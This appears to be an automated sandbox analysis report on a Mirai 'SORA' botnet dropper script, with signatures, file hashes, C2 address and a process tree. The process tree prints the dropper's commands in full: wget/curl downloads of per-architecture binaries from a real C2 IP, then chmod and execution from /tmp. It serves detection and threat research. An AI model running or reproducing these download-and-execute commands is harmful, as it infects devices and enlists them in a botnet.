Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    23/10/2026, 15:28

General

  • Target
    ohshit.sh
  • Size 2KB
  • Sample261023-swt6pact7x
  • SHA256 dd62b3d7e8ca943506b5be1ae35de46b74900c25af41a19117163f25a9a744f2
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Family
  • mirai

C2
  • 176.65.139.217

Extracted

Family
  • mirai

Botnet
  • SORA

C2
  • 176.65.139.217

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai ARM payload 4 IoCs
  • Mirai Renesas payload 1 IoCs
  • Contacts a large (184682) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 4 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates active TCP sockets 1 TTPs 2 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Changes its process name 2 IoCs
  • Checks CPU configuration 1 TTPs 15 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads system network configuration 1 TTPs 2 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 6 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:644
    • /bin/cp
      cp /bin/busybox /tmp/
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:650
    • /usr/bin/wget
      wget http://176.65.139.217/bins/sora.arc
      2⤵
        PID:659
      • /usr/bin/curl
        curl -O http://176.65.139.217/bins/sora.arc
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:671
      • /bin/cat
        cat sora.arc
        2⤵
          PID:686
        • /bin/chmod
          chmod +x bitch busybox ohshit.sh sora.arc systemd-private-f30ca5bbd3874c57a68a24853568c190-systemd-timedated.service-Mmhwic
          2⤵
          • File and Directory Permissions Modification
          PID:688
        • /tmp/bitch
          ./bitch
          2⤵
            PID:689
          • /usr/bin/wget
            wget http://176.65.139.217/bins/sora.x86
            2⤵
            • Writes file to tmp directory
            PID:691
          • /usr/bin/curl
            curl -O http://176.65.139.217/bins/sora.x86
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:752
          • /bin/cat
            cat sora.x86
            2⤵
              PID:753
            • /bin/chmod
              chmod +x bitch busybox ohshit.sh sora.arc sora.x86 systemd-private-f30ca5bbd3874c57a68a24853568c190-systemd-timedated.service-Mmhwic
              2⤵
              • File and Directory Permissions Modification
              PID:754
            • /tmp/bitch
              ./bitch
              2⤵
                PID:755
              • /usr/bin/wget
                wget http://176.65.139.217/bins/sora.x86_64
                2⤵
                • Writes file to tmp directory
                PID:757
              • /usr/bin/curl
                curl -O http://176.65.139.217/bins/sora.x86_64
                2⤵
                • Checks CPU configuration
                • Writes file to tmp directory
                PID:758
              • /bin/cat
                cat sora.x86_64
                2⤵
                  PID:759
                • /bin/chmod
                  chmod +x bitch busybox ohshit.sh sora.arc sora.x86 sora.x86_64 systemd-private-f30ca5bbd3874c57a68a24853568c190-systemd-timedated.service-Mmhwic
                  2⤵
                  • File and Directory Permissions Modification
                  PID:760
                • /tmp/bitch
                  ./bitch
                  2⤵
                    PID:761
                  • /usr/bin/wget
                    wget http://176.65.139.217/bins/sora.i586
                    2⤵
                      PID:763
                    • /usr/bin/curl
                      curl -O http://176.65.139.217/bins/sora.i586
                      2⤵
                      • Checks CPU configuration
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:764
                    • /bin/cat
                      cat sora.i586
                      2⤵
                        PID:765
                      • /bin/chmod
                        chmod +x bitch busybox ohshit.sh sora.arc sora.i586 sora.x86 sora.x86_64 systemd-private-f30ca5bbd3874c57a68a24853568c190-systemd-timedated.service-Mmhwic
                        2⤵
                        • File and Directory Permissions Modification
                        PID:766
                      • /tmp/bitch
                        ./bitch
                        2⤵
                          PID:767
                        • /usr/bin/wget
                          wget http://176.65.139.217/bins/sora.mips
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:768
                        • /usr/bin/curl
                          curl -O http://176.65.139.217/bins/sora.mips
                          2⤵
                          • Checks CPU configuration
                          • Reads runtime system information
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:769
                        • /bin/cat
                          cat sora.mips
                          2⤵
                          • System Network Configuration Discovery
                          PID:770
                        • /bin/chmod
                          chmod +x bitch busybox ohshit.sh sora.arc sora.i586 sora.mips sora.x86 sora.x86_64 systemd-private-f30ca5bbd3874c57a68a24853568c190-systemd-timedated.service-Mmhwic
                          2⤵
                          • File and Directory Permissions Modification
                          PID:771
                        • /tmp/bitch
                          ./bitch
                          2⤵
                            PID:772
                          • /usr/bin/wget
                            wget http://176.65.139.217/bins/sora.mips64
                            2⤵
                            • System Network Configuration Discovery
                            PID:774
                          • /usr/bin/curl
                            curl -O http://176.65.139.217/bins/sora.mips64
                            2⤵
                            • Checks CPU configuration
                            • Reads runtime system information
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:776
                          • /bin/cat
                            cat sora.mips64
                            2⤵
                            • System Network Configuration Discovery
                            PID:778
                          • /bin/chmod
                            chmod +x bitch busybox ohshit.sh sora.arc sora.i586 sora.mips sora.mips64 sora.x86 sora.x86_64 systemd-private-f30ca5bbd3874c57a68a24853568c190-systemd-timedated.service-Mmhwic
                            2⤵
                            • File and Directory Permissions Modification
                            PID:779
                          • /tmp/bitch
                            ./bitch
                            2⤵
                              PID:780
                            • /usr/bin/wget
                              wget http://176.65.139.217/bins/sora.mpsl
                              2⤵
                              • Writes file to tmp directory
                              PID:781
                            • /usr/bin/curl
                              curl -O http://176.65.139.217/bins/sora.mpsl
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:782
                            • /bin/cat
                              cat sora.mpsl
                              2⤵
                                PID:783
                              • /bin/chmod
                                chmod +x bitch busybox ohshit.sh sora.arc sora.i586 sora.mips sora.mips64 sora.mpsl sora.x86 sora.x86_64 systemd-private-f30ca5bbd3874c57a68a24853568c190-systemd-timedated.service-Mmhwic
                                2⤵
                                • File and Directory Permissions Modification
                                PID:784
                              • /tmp/bitch
                                ./bitch
                                2⤵
                                  PID:785
                                • /usr/bin/wget
                                  wget http://176.65.139.217/bins/sora.arm
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:787
                                • /usr/bin/curl
                                  curl -O http://176.65.139.217/bins/sora.arm
                                  2⤵
                                  • Checks CPU configuration
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:788
                                • /bin/cat
                                  cat sora.arm
                                  2⤵
                                    PID:789
                                  • /bin/chmod
                                    chmod +x bitch busybox ohshit.sh sora.arc sora.arm sora.i586 sora.mips sora.mips64 sora.mpsl sora.x86 sora.x86_64 systemd-private-f30ca5bbd3874c57a68a24853568c190-systemd-timedated.service-Mmhwic
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:790
                                  • /tmp/bitch
                                    ./bitch
                                    2⤵
                                    • Modifies Watchdog functionality
                                    • Enumerates active TCP sockets
                                    • Changes its process name
                                    • Reads system network configuration
                                    • Reads runtime system information
                                    PID:791
                                  • /usr/bin/wget
                                    wget http://176.65.139.217/bins/sora.arm5
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:795
                                  • /usr/bin/curl
                                    curl -O http://176.65.139.217/bins/sora.arm5
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:799
                                  • /bin/cat
                                    cat sora.arm5
                                    2⤵
                                      PID:800
                                    • /bin/chmod
                                      chmod +x bitch busybox ohshit.sh sora.arc sora.arm sora.arm5 sora.i586 sora.mips sora.mips64 sora.mpsl sora.x86 sora.x86_64 systemd-private-f30ca5bbd3874c57a68a24853568c190-systemd-timedated.service-Mmhwic
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:801
                                    • /tmp/bitch
                                      ./bitch
                                      2⤵
                                        PID:802
                                      • /usr/bin/wget
                                        wget http://176.65.139.217/bins/sora.arm6
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:803
                                      • /usr/bin/curl
                                        curl -O http://176.65.139.217/bins/sora.arm6
                                        2⤵
                                        • Checks CPU configuration
                                        • Reads runtime system information
                                        • Writes file to tmp directory
                                        PID:806
                                      • /bin/cat
                                        cat sora.arm6
                                        2⤵
                                          PID:807
                                        • /bin/chmod
                                          chmod +x bitch busybox ohshit.sh sora.arc sora.arm sora.arm5 sora.arm6 sora.i586 sora.mips sora.mips64 sora.mpsl sora.x86 sora.x86_64 systemd-private-f30ca5bbd3874c57a68a24853568c190-systemd-timedated.service-Mmhwic
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:808
                                        • /tmp/bitch
                                          ./bitch
                                          2⤵
                                          • Reads runtime system information
                                          PID:809
                                        • /usr/bin/wget
                                          wget http://176.65.139.217/bins/sora.arm7
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:810
                                        • /usr/bin/curl
                                          curl -O http://176.65.139.217/bins/sora.arm7
                                          2⤵
                                          • Checks CPU configuration
                                          • Writes file to tmp directory
                                          PID:811
                                        • /bin/cat
                                          cat sora.arm7
                                          2⤵
                                            PID:812
                                          • /bin/chmod
                                            chmod +x bitch busybox ohshit.sh sora.arc sora.arm sora.arm5 sora.arm6 sora.arm7 sora.i586 sora.mips sora.mips64 sora.mpsl sora.x86 sora.x86_64 systemd-private-f30ca5bbd3874c57a68a24853568c190-systemd-timedated.service-Mmhwic
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:813
                                          • /tmp/bitch
                                            ./bitch
                                            2⤵
                                            • Modifies Watchdog functionality
                                            • Enumerates active TCP sockets
                                            • Changes its process name
                                            • Reads system network configuration
                                            • Reads runtime system information
                                            PID:814
                                          • /usr/bin/wget
                                            wget http://176.65.139.217/bins/sora.ppc
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:821
                                          • /usr/bin/curl
                                            curl -O http://176.65.139.217/bins/sora.ppc
                                            2⤵
                                            • Checks CPU configuration
                                            • Reads runtime system information
                                            • Writes file to tmp directory
                                            PID:830
                                          • /bin/cat
                                            cat sora.ppc
                                            2⤵
                                              PID:831
                                            • /bin/chmod
                                              chmod +x bitch busybox ohshit.sh sora.arc sora.arm sora.arm5 sora.arm6 sora.arm7 sora.i586 sora.mips sora.mips64 sora.mpsl sora.ppc sora.x86 sora.x86_64
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:832
                                            • /tmp/bitch
                                              ./bitch
                                              2⤵
                                                PID:833
                                              • /usr/bin/wget
                                                wget http://176.65.139.217/bins/sora.sparc
                                                2⤵
                                                  PID:836
                                                • /usr/bin/curl
                                                  curl -O http://176.65.139.217/bins/sora.sparc
                                                  2⤵
                                                  • Checks CPU configuration
                                                  • Reads runtime system information
                                                  • Writes file to tmp directory
                                                  PID:837
                                                • /bin/cat
                                                  cat sora.sparc
                                                  2⤵
                                                    PID:838
                                                  • /bin/chmod
                                                    chmod +x bitch busybox ohshit.sh sora.arc sora.arm sora.arm5 sora.arm6 sora.arm7 sora.i586 sora.mips sora.mips64 sora.mpsl sora.ppc sora.sparc sora.x86 sora.x86_64
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:839
                                                  • /tmp/bitch
                                                    ./bitch
                                                    2⤵
                                                      PID:840
                                                    • /usr/bin/wget
                                                      wget http://176.65.139.217/bins/sora.m68k
                                                      2⤵
                                                      • Writes file to tmp directory
                                                      PID:841
                                                    • /usr/bin/curl
                                                      curl -O http://176.65.139.217/bins/sora.m68k
                                                      2⤵
                                                      • Checks CPU configuration
                                                      • Writes file to tmp directory
                                                      PID:844
                                                    • /bin/cat
                                                      cat sora.m68k
                                                      2⤵
                                                        PID:845
                                                      • /bin/chmod
                                                        chmod +x bitch busybox ohshit.sh sora.arc sora.arm sora.arm5 sora.arm6 sora.arm7 sora.i586 sora.m68k sora.mips sora.mips64 sora.mpsl sora.ppc sora.sparc sora.x86 sora.x86_64
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:846
                                                      • /tmp/bitch
                                                        ./bitch
                                                        2⤵
                                                          PID:847
                                                        • /usr/bin/wget
                                                          wget http://176.65.139.217/bins/sora.sh4
                                                          2⤵
                                                          • Writes file to tmp directory
                                                          PID:849
                                                        • /usr/bin/curl
                                                          curl -O http://176.65.139.217/bins/sora.sh4
                                                          2⤵
                                                          • Checks CPU configuration
                                                          • Writes file to tmp directory
                                                          PID:850
                                                        • /bin/cat
                                                          cat sora.sh4
                                                          2⤵
                                                            PID:851
                                                          • /bin/chmod
                                                            chmod +x bitch busybox ohshit.sh sora.arc sora.arm sora.arm5 sora.arm6 sora.arm7 sora.i586 sora.m68k sora.mips sora.mips64 sora.mpsl sora.ppc sora.sh4 sora.sparc sora.x86 sora.x86_64
                                                            2⤵
                                                            • File and Directory Permissions Modification
                                                            PID:852
                                                          • /tmp/bitch
                                                            ./bitch
                                                            2⤵
                                                              PID:853

                                                          Network

                                                                MITRE ATT&CK Enterprise v16

                                                                Replay Monitor

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                                                                Downloads

                                                                bitch

                                                                • Path /tmp/bitch
                                                                • Size 27KB
                                                                • SHA256 363d7f945d3ffc0ec2d67154b0a552f322ea562a608924a98cf5c44388cc8dc3
                                                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                bitch

                                                                • Path /tmp/bitch
                                                                • Size 28KB
                                                                • SHA256 73ab4a2ffece356b303b7248f78c62fddf80300cdeb7e219cd178e0f09fbb920
                                                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                bitch

                                                                • Path /tmp/bitch
                                                                • Size 63KB
                                                                • SHA256 7faed14973fbaf7ccc83f843000473be08001c86f752bd354171bc490f96fc2d
                                                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                busybox

                                                                • Path /tmp/busybox
                                                                • Size 507KB
                                                                • SHA256 2dd1fbb8052a89f40c2e9af115d31346e554ee746e9c7a97d651e43e0609df88
                                                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                sora.arc

                                                                • Path /tmp/sora.arc
                                                                • Size 276B
                                                                • SHA256 23808ec600857d5cbc4059a5b058a5ee7d928aaa2833ba2aa28c84d94f4c4669
                                                                • MD5 SHA1 SHA512 TLSH